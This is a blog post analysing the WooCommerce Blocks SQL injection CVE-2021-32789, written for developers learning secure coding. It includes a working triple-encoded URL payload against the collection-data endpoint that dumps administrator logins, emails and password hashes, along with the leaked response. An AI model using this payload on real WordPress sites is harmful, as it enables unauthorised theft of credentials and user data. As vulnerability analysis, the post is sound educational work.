Please Update As Soon As Possible

How many times have you heard it? Probably a lot, especially if you are into WordPress or manage a WordPress-powered website.

Only in December, more than 300 new vulnerabilities were added to the Wordfence Threat Intelligence database, the largest and most reliable data source in the WP security ecosystem, with more than 1.000 in 2022 and more than 13.000 all-time vulnerabilities. I am providing some numbers just to make it very clear that vulnerabilities keep popping up all the time and the golden rule is always the same: keep the core, plugins, and themes updated.

This is good advice, but if you are a developer or an engineer, I think is time to start doing more than just updating. It's time to invest some effort into understanding the why and how of those security issues, improve our security consciousness, and write more security-oriented code. At the end of the day, a vulnerability is nothing but a mistake made by another programmer, and we keep making the same coding mistakes again and again, suggesting that there are grey areas where poor security is almost the norm.

Gaining a deeper understanding of some security bugs can be a very effective way to upgrade our code security. Of course, it can be hard to find the time to replicate and dive deep into every security advisory, and that's where the community may help. At the moment, only very few companies (Wordfence leading the way) and fewer independent researchers are publishing quality technical analyses of impactful vulnerabilities, but too many remain completely uncovered.

That is why I've decided to commit part of my time to analyzing some interesting bugs found by myself and other researchers and publishing in-depth technical papers focusing on the why and the core takeaways more than the PoC or the fix.

Starting... today!

WooCommerce SQLi

CVE-2021-32789 Unauthenticated SQL Injection in WooCommerce Blocks

This was one of those vulnerabilities that crashed the web, discovered in July 2021 by Josh (jl-dos), that allowed unauthenticated attackers to easily exfiltrate data from the database with a single HTTP request. It pushed the vendor (Automattic/WooCommerce) to force the update for thousands of online stores under attack and firewalls were (and maybe still are) blocking countless attack attempts.

The entry point

The entry point of this vulnerability was a REST API route, more precisely: /wp-json/wc/store/products/collection-data, an endpoint designed to collect and return product aggregate data. The endpoint was (and still is) unauthenticated because it just returns publicly available product data.

class ProductCollectionData extends AbstractRoute {
    
    public function get_path() {
        return '/products/collection-data';
    }

    public function get_args() {
        return [
            [
                'methods'             => \WP_REST_Server::READABLE,
                'callback'            => [ $this, 'get_response' ],
                'permission_callback' => '__return_true',
                'args'                => $this->get_collection_params(),
            ],
            'schema' => [ $this->schema, 'get_public_item_schema' ],
        ];
    }

    // {...}

}

WordPress has a standardized syntax for registering new API endpoints:

  • methods is the HTTP method that the endpoint accepts (eg. GET, POST)
  • callback is the function that the endpoint will execute
  • permission_callback is the function that will authenticate the request

So in this case, permission_callback is set to __return_true, meaning that the endpoint will be executable by anyone, and that’s fine.

I have to admit that the WooCommerce code is not the most straightforward one, and functions are nested in a very complicated way, probably due to the fact that is a very big and flexible framework. Analyzing the get_route_response() function (responsible for handling the endpoint response) we see that there is no SQL query (apparently) in it, but many helper functions are called inside the function itself, so most probably the vulnerability resides in one of those.

After some digging, we come to get_attribute_counts(), the guilty one.

The core issue

public function get_attribute_counts( $request, $attributes = [] ) {
    
    // {...}

    $attributes_to_count     = array_map( 'wc_sanitize_taxonomy_name', $attributes );
    $attributes_to_count_sql = 'AND term_taxonomy.taxonomy IN ("' . implode( '","', $attributes_to_count ) . '")';
    $attribute_count_sql     = "
        SELECT COUNT( DISTINCT posts.ID ) as term_count, terms.term_id as term_count_id
        FROM {$wpdb->posts} AS posts
        INNER JOIN {$wpdb->term_relationships} AS term_relationships ON posts.ID = term_relationships.object_id
        INNER JOIN {$wpdb->term_taxonomy} AS term_taxonomy USING( term_taxonomy_id )
        INNER JOIN {$wpdb->terms} AS terms USING( term_id )
        WHERE posts.ID IN ( {$product_query_sql} )
        {$attributes_to_count_sql}
        GROUP BY terms.term_id
    ";

    $results = $wpdb->get_results( $attribute_count_sql ); // phpcs:ignore

    return array_map( 'absint', wp_list_pluck( $results, 'term_count', 'term_count_id' ) );
}

Reading the function code, there are two things immediately suspicious:

  1. the SQL query is intentionally unsafe and even marked phpcs:ignore, which means that PHP CodeSniffer (a tool used to detect violations) should ignore it
  2. the $attributes variable is sanitized with wc_sanitize_taxonomy_name, and that’s supposed to protect the query itself

So, next thing to do is to go read wc_sanitize_taxonomy_name() function:

function wc_sanitize_taxonomy_name( $taxonomy ) {
    return apply_filters( 'sanitize_taxonomy_name', urldecode( sanitize_title( urldecode( $taxonomy ) ) ), $taxonomy );
}

This finally brings us to the core issue, because the function applies a sanitize_taxonomy_name() (yet another nested function) which is already not bulletproof to protect against SQL injections, but combined with the double urldecode makes it ineffective because some actions performed by sanitize_taxonomy_name() - like stripping spaces - are ineffective on encoded strings.

Proof of Concept

I know, this may sound confusing, but here is where things get interesting and this is why I decided to blog about this vulnerability in the first place. Let’s try to further clarify with a PoC.

This is a malicious HTTP request that can be used to attack a website vulnerable to CVE-2021-32789:

http://sqli.local/wp-json/wc/store/products/collection-data?calculate_attribute_counts[][taxonomy]=%252522%252529%252520union%252520all%252520select%2525201%25252Cconcat%252528id%25252C0x3a%25252Cuser_login%25252C0x3a%25252Cuser_email%25252C0x3a%25252Cuser_pass%252529from%252520wp_users%252520where%252520%252549%252544%252520%252549%25254E%252520%2525281%252529%25253B%252500

The payload is encoded 3 times, meaning that if we decode it recursively we obtain:

http://sqli.local/wp-json/wc/store/products/collection-data?calculate_attribute_counts[][taxonomy]=") union all select 1,concat(id,0x3a,user_login,0x3a,user_email,0x3a,user_pass)from wp_users where ID IN (1);

The reason why the first payload goes through the “sanitization” filter it’s the triple encoding, the decoded one would have turned into:

union-all-select-1concatid0x3auser_login0x3auser_email0x3auser_passfrom-wp_users-where-id-in-1"

making the injection ineffective.

For the sake of completeness, the website response would be:

{"price_range":null,"attribute_counts":[{"term":0,"count":0},{"term":"1:admin:dev-email@sqli.local:$P$BJaHer7FZbhJkmpZt5Bn.ji1n093Pk.","count":1}],"rating_counts":null}

Which would give away your hashed administrator password, or any other data based on the injection payload.

Ironically, if we remove the “sanitization” step, the vulnerability seems to be harder to exploit, but of course, that was not the proper way to patch it. Taking a look at the full patch we will see that the $attributes parameter has been passed through esc_sql() which is a wrapper of mysqli_real_escape_string(), the proper way to escape arguments that go into a SQL statement.

Takeaways

I think there are a lot of things we can learn from this vulnerability:

  1. The WordPress codebase is complex, and sometimes too many functions cross-referencing each other can lead to unexpected outcomes
  2. Sanitization and escaping are critical but is also very important to deeply understand what a function does and use it in the correct context
  3. Bad/wrong sanitization can be a vulnerability itself
  4. When our application receives data from untrusted sources, we have to be extra careful about how we handle it
  5. Writing custom SQL queries is a serious task and needs skills and knowledge. This is why is preferable to honor the application abstraction if possible
  6. If you can't use wpdb::prepare, which is the recommended way to prepare custom SQL queries on WordPress, be strict about custom sanitization and don't rely on generic sanitization functions. Check the type, limit the characters, use RegEx, and dedicate time and brain-power to your security functions.

So please update, but also get curious and take control over your codebase and his behaviors!

And finally, if you liked this technical analysis, make it yours! Go get a security vulnerability that stimulates your interest, replicate it, understand it, and share the knowledge with the community :)

Thanks for reading,

Francesco